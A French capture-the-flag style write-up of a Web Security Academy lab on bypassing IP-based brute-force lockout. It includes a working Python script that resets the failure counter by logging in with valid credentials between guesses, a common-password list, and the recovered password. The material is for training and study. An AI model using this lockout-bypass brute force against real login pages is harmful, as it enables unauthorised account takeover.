Protection brisée : blocage basé sur l’adresse IP

Broken brute-force protection, IP block

Ce laboratoire présente une faille logique dans son mécanisme de protection contre les attaques par force brute. L’objectif est de forcer le mot de passe de la victime, puis de se connecter à son compte.

• Identifiants fournis : wiener / peter

• Nom d’utilisateur de la victime : carlos

Authentication lab passwords | Web Security AcademyWebSecAcademy

Observation du mécanisme de blocage

En testant plusieurs combinaisons pour l’utilisateur carlos, on constate qu’au bout de trois tentatives incorrectes, l’application affiche :

You have made too many incorrect login attempts. Please try again in 1 minute(s).

Le site applique donc un blocage basé sur l’adresse IP après plusieurs échecs consécutifs.

Contournement du blocage IP

Pour contourner cette protection, on exploite une faille logique :

• On envoie deux tentatives invalides pour carlos.

• À la troisième tentative, on envoie une authentification valide, mais avec les identifiants wiener : peter.

• Comme cette connexion réussit, le système réinitialise le compteur d’échecs pour cette adresse IP.

Script Python utilisé

Le script suivant automatise l’attaque en testant deux mots de passe pour carlos, puis en réinitialisant le compteur via une connexion réussie en tant que wiener :

import requests
import time

url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"

passwords = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", 
    "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", 
    "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", 
    "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", 
    "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", 
    "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", 
    "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", 
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", 
    "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", 
    "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", 
    "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", 
    "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", 
    "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", 
    "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", 
    "montana", "moon", "moscow"
]

session = requests.Session()

def login(username, password):
    headers = {'Cookie': f'session={session_cookie}'}
    data = {'username': username, 'password': password}
    return session.post(url, headers=headers, data=data, allow_redirects=False)

for i in range(0, len(passwords), 2):
    batch = passwords[i:i+2]
    
    for password in batch:
        print(f"Trying carlos:{password}")
        response = login("carlos", password)
        
        if response.status_code == 302:
            print(f"PASSWORD FOUND! carlos:{password}")
            exit()
    
    if i + 2 < len(passwords):
        print("Resetting with wiener:peter")
        login("wiener", "peter")
        time.sleep(1)

print("Password not found")

Le mot de passe correct pour carlos découvert via l’attaque est :

michelle